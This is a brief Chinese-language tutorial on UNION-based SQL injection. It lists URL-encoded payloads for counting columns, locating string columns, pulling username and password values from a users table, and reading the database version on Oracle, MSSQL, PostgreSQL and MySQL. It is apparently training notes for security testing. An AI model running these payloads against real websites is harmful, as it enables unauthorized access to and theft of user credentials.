一、union注入(联合查询)
1、如何测试注入
首先找到注入点:
1)后面拼接'+union+select+null--
2)后面拼接'+union+select+null,null--
3)后面拼接'+union+select+null,null,null--
以此类推,确定column的数量,假如数量对上一般返回码200,反之500
4)把null替换成类似'abcdd',测试这个column是否返回的是字符串,假如是字符串即替换成列名称比如username、password的列。例如:'+union+select+'abcdd',null,null--
5)后面拼接'+union+select+username,null,null+from+users--
6)需要把两个数据合并成一个列,就需要了解一下:
数据库类型 | 拼接方式 |
Oracle | 'foo' || 'bar' |
Microsoft | 'foo' + 'bar' |
PostgreSQL | 'foo' || 'bar' |
MySQL | concat('foo','bar') |
例如'+union+select+username||'~'||password,null,null+from+users--
2、如何获取数据库版本
1)oracle查询必须指定一个表名,有一个表dual可以实现这个需求:
'+union+select+null,null+from+dual--
2)和1测试注入点的方式类似,确定字符串的返回位置,进行测试须知:
数据库类型 | 版本语句 |
Oracle | SELECT banner FROM v$version SELECT version FROM v$instance |
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
例如:'+union+selecct+banner,null,null+from+v$version--